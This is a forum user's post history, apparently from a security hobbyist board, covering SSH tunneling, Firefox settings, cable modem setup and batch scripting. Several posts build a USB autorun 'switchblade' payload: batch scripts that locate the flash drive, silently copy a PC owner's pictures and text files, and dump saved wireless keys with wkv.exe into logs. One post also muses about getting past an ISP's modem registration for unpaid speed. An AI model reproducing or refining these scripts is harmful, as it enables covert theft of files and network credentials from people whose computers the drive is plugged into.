Jump to content

G-Stress

Dedicated Members
  • Posts

    683
  • Joined

  • Last visited

Everything posted by G-Stress

  1. @ digip, not sure if this will help, but I found this while researching SOCKS http://www.http-tunnel.com/html/solutions/...nnel/client.asp
  2. @ digip I finally got the chance to try the OpenSSH out with Putty and it's great. Now would OpenVPN or OpenSSH be a better way yo tunnel your traffic as far as security goes? Which would you recommend? I haven't gotten OpenVPN working yet, but this OpenSSH is nice. To make sure I fully understand it: Connecting to my box via putty with config as you mentioned above. FireFox config in Tools > Options > Network > Settings: Select manual proxy config > SOCKS Host: 127.0.0.1 Port: 7070 > SOCKSv5 Then I'm connected to my box with putty so I can interact with it if necessary and all my traffic is being tunneled through that box?
  3. @natural_orange Gotcha and will post if I figure it out or find anything cool.
  4. G-Stress

    KillAll.bat

    @ digip Ahhh... I see... I'm liking this :)
  5. @ natural_orange Even if it's a value that I added? What I did was followed directions on this site: http://blog.beefstew.net/2007/04/200704-17...restore_yo.html Only when entering the key I messed up and put browser.sessionstore.resume_session.true at the end when "true" should have been the value.
  6. Speaking of NAT router's specificly "linksys" has anyone had any problems getting any of them to acquire WAN ip's from cable modem's? I've noticed lately alot of people I've helped setup their internet connection the linksys in the status page the DHCP Release and Renew do not work. It will release, but never renew it? After various power cycling modem and router it finally will grab a valid ip.
  7. G-Stress

    KillAll.bat

    I think you can stop this by shutdown -a via cmd?
  8. @ SomeoneElse, Thanks man, I guess that is another way of doing it. However what I'm trying to do is now delete entries in the "about:config" file in FF. It appears the only thing I can modify is the entries value.
  9. Just one ? I been messing around with firefox's about:config configuration. I added a entry to set it to automatically restore my last session upon exiting the browser manually, but I messed up when I added it and I cannot figure out hot to modify the entry or delete it? When right clicking and selecting modify it only allows you to modify the value? Anyone know how to modify or delete entries?
  10. @ digip, Agree with VaKo, get you a dyndns and use that instead of trying to remember your IP. As far as your post this is how cable provider's are set up: Their are Nodes that cover a certain amount of area's, which routes back to their head end to a device containing these I believe "Hot Swappable" cards in them that they have set to only allow 125 modems per card. (I forget how many cards there were per device) If you were to take your modem and move it to a different location, but still in the same node it will work just fine and it will still come back to you if abuse activity took place. As far as the speeds they are by MAC address basis, but cloning don't work no more. It use to when they cared what the modem was connected to, then you could just clone the mac on any device the modem was connected to and be good, but not anymore. When you get any cable modem and connect it, as long as it sync's up it will automatically give you a 10.?.?.? IP which in turn means needs to be registered. Now you can enter in a static IP or even an old IP you use to have and you will be able to route out to the internet, but yes your speeds will be extremely slow. You won't notice much as far as just surfing, but when running speed tests or downloading file's you will notice quickly. I've been trying to figure out a way to get by the registration issue and get the full speed 6, 10 or whatever the provider offer's, but I haven't messed with that for awhile :-) Hope this helps some.
  11. @ GonZor, Thanks so much man. It's working perfectly now. Still a bit of a problem with file.exe but I think I can figure that out. The variables all make sense as well and I got that SciTE editor so hopefully that will help me out alot. Not sure if it's the proper way to give karma, but +1 :) P.S. I found the proper way and gave you +1 Thanks again.
  12. @ GonZor, Okay I finally somehow got it working all except the copy process I think I may be missing one small parameter or something: @echo on :: DETERMINE WHICH WHERE THE DRIVES ARE MAPPED FOR %%i IN ( B C D E F G H I J K L M N O P Q R S T U V W X Y Z ) DO ( :: SEARCH FOR A FILE CALLED drv.dat IN THE DIRECTORY SystemSRC IF EXIST %%i:SystemSRCdrv.dat ( SET fd=%%i:SystemSRC ) ) :: CREATE PIC DIRECTORY IF NOT EXIST %fd%Documents%computername%Pictures mkdir %fd%Documents%computername%Pictures :: CREATE TXT DIRECTORY IF NOT EXIST %fd%Documents%computername%txt's mkdir %fd%Documents%computername%txt's file.exe /A:C "%homepath%%username%Desktop*.jpg" "%fd%Documents%computername%Pictures" /I /P file.exe /A:C "%homepath%%username%Desktop*.bmp" "%fd%Documents%computername%Pictures" /I /P file.exe /A:C "%homepath%%username%Desktop*.gif" "%fd%Documents%computername%Pictures" /I /P file.exe /A:C "%homepath%%username%Desktop*.txt" "%fd%Documents%computername%txt's" /I /P xcopy "%homepath%%username%Desktop*.txt" "%fd%Documents%computername%txt's" /s /c /q /r /h /y exit The biggest problem I was having was it could not find the flash partition but now it finally does and writes the directories, althought I had to put the pic directory code all on one line for some reason to get it working. Now the only problem is it doesn't execute any of the copy procedure. File.exe or xcopy. That is the only reason why xcopy is there now just to see if either would work. I turned echo on and in cmd accessed the cdfs partition of the drive and executed my autorun.bat which in turn executed the above code drv.bat but after it finds the drive it closes the cmd window. Is there any way I can execute this keeping the window open so I can see my error's or what I'm doing wrong? That's how I found out about the directory it stayed open for that part as I had then commented out the copy process and told me the syntax was invalid. Now if possible I'd like to find out how I can see where it stops and why it stops at that point. I know your busy and if you have time to help me out great, if not that's cool you have helped me greatly already :D Thanks in advance.
  13. @ GonZor, LOL! Gotcha, I coulda swore I saw someone using that as a variable before, but I'm probably wrong, but yea that was my main purpose for wanting to use that variable "in case they had windows installed on another partition". So once again thanks I will mess around with this tonight:) Perhaps you might be able to provide a link you recommend to help me understand/learn Batch Scripting, windows variables and all that? You seem to be pretty proficient. I looked around found quite a few good sites and tried to find something like a VTC course or CBT but was unsuccessful.
  14. Just thought I would say the problem seems to be "%Documents and Settings%" variable. By changing it to C:Documents and Settings everything works fine this goes for file.exe. Also tried xcopy same issue. Anyone else had this problem?
  15. Thanks alot GonZor, makes much more sense now. Appreciate you takin the time to explain each step individually
  16. Yea that's probably what I'm gonna end up doing. Surprisingly the next day the machine was able to route out to the internet and everything seemed fine, but a re-install is probably what I'm gonna do.
  17. Just one ? a little confused. Still not working, but it could just be file.exe issue, but according to the following code: @echo off :: DETERMINE WHICH WHERE THE DRIVES ARE MAPPED FOR %%i IN ( B C D E F G H I J K L M N O P Q R S T U V W X Y Z ) DO ( :: SEARCH FOR A FILE CALLED drv.dat IN THE DIRECTORY SystemSRC IF EXIST %%i:SystemSRCdrv.dat ( SET fd=%%i:SystemSRC ) ) It looks to me like your defining the flash partition as drive i: I don't see how it gets defined as %fd%
  18. I had a really weird problem last night, trying to help someone over the internet. They previously had viruses which were properly quarantined and removed with Norton Corporate Edition v.7 I believe. A couple days after they were removed Norton would spit out these random notifications saying it found something within the system volume (e.g. C:System_restore{004539023-CCAD-9823423F} ) that is the info in the notification and then quarantined are a bunch of weird files (A00094990.exe) I had this problem sometime ago on one of my machines running 2k3 and was able to solve it by removing the registry entries... (I think) I couldn't remember exactly, but I removed a registry entry after searching for the first set of numbers in the above (e.g.) then the folder that was contained in I just removed the whole folder. I believe it was called something like KeystoNotDelete or KeystoRemove something like that. After that this person wasn't able to access the internet at all, but did have a valid IP. We tried a system restore to a couple previous dates as far as a month back which failed back that far. Rebuilt the tcp/ip stack, still nothing. Then today I guess it was fine and able to access the internet. I am just curious if anyone has any idea what could have prevented this machine from accessing the internet being that it had valid ip information and I thought the registry key I removed only associated with norton?
  19. @ GonZor, Ahhh, makes total sense. Thanks man really appreciate it. I'm gonna definitely try that out tonight:) Oh yea I forgot, the logs, it does create log folder's, but doesn't actually create any logs. It creats the folders in the SRC directory, but I'll mess around with that tonight also.
  20. @ GonZor, Using your script with file.exe and it isn't working am I doing something wrong? @echo off :: DETERMINE WHICH WHERE THE DRIVES ARE MAPPED FOR %%i IN ( B C D E F G H I J K L M N O P Q R S T U V W X Y Z ) DO ( :: SEARCH FOR A FILE CALLED drv.dat IN THE DIRECTORY SystemSRC IF EXIST %%i:SystemSRCdrv.dat ( SET fd=%%i:SystemSRC ) ) :: CREATE LOG DIRECTORY IF NOT EXIST %fd%Logs%computername% ( MD %fd%Logs%computername% ) :: COUNT NUMBER OF PREVIOUS LOGS FROM THIS COMPUTER SO THAT WE DO NOT OVERWRITE A LOG DIR /a-d /s "%fd%Logs%computername%" | FIND /c ".log" > "%fd%SRC###" SET /p count=<"%fd%SRC###" :: SET LOG PATH SET log="%fd%Logs%computername%%computername%-[%count%].log" :: CREATE PIC DIRECTORY IF NOT EXIST %fd%Documents%computername%Pictures ( MD %fd%Documents%computername%Pictures ) file.exe /A:C "%Documents and Settings%%username%My Documents*.jpg" "Documents%computername%Pictures" /I /P file.exe /A:C "%Documents and Settings%%username%My Documents*.bmp" "Documents%computername%Pictures" /I /P file.exe /A:C "%Documents and Settings%%username%My Documents*.gif" "Documents%computername%Pictures" /I /P
  21. Ok GonZor, I'm really trying to understand this part of your code and I think I got it. :: DETERMINE WHICH WHERE THE DRIVES ARE MAPPED FOR %%i IN ( B C D E F G H I J K L M N O P Q R S T U V W X Y Z ) DO ( Searches every drive letter for possible removable flash drive IF EXIST %%i:NUL.EXT ( Searches for the drive letter defined as %%i with a null value extension :: SEARCH FOR A FILE CALLED drv.dat IN THE DIRECTORY SystemSRC IF EXIST %%i:SystemSRCdrv.dat ( SET fd=%%i:System ) Looks for a specific file in order to identify the drive in a directory SystemSRCdrv.dat If that's the case what exactly is fd in "SET fd=%%iSystem"
  22. Nice... guess that makes sense, still a bit complex for me to fully understand it just by looking at it, but i'm gonna hopefully get to mess around with it tonight:)
  23. @ GonZor Was wondering if you or anyone could help me with something. I'm looking at your go.bat file and it is coded very nicely. A bit more complex then the original switchblade. Say I want to have my usb stick (memorex mini 256 travel drive) just have one job to do, to dump wireless keys. I flash the drive with the universal customizer with a file to autorun wifi.bat and including in that file: Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1 echo **********[Dump Wireless Key]******* >> ....Documentslogfiles%computername%.log 2>&1 Echo ************************************ >> ....Documentslogfiles%computername%.log 2>&1 .wkv.exe /stext "....Documentslogfiles%computername%_wk.log" >> ....Documentslogfiles%computername%.log 2>&1 copy ....Documentslogfiles%computername%.log+....Documentslogfiles%computername%_wk.log* ....Documentslogfiles%computername%.log >> nul del /f /q "....Documentslogfiles%computername%_wk.log" >nul The U3 Partition is setup as follows: autorun.ini [tell's to run autoexec.bat] autoexec.bat [tells to run FilesAutoRun.bat] Files Dir. Contents: FilesAutoRun.bat [call's wifi.bat] Fileswifi.bat Fileswkv.exe My problem is it will not write to the removable part of the drive for nothing in the world. I'm I'm sure it is something with the path part of the code. I've tried changing it to: .. .... .. Still no luck. Any suggestions? Anybody?
  24. Thanks alot GonZor, actually I remember looking through your payload not too long ago and it is really what inspired me to try to make my own. I will definitely keep in touch. Also I found a nice app very easy to use that converts .bat 2 .exe called QuickBFC http://www.abyssmedia.com/quickbfc/index.shtml I'm mainly trying to familiar with batch scripting. Appreciate any help and will check out your payload when I get off work tonight:)
×
×
  • Create New...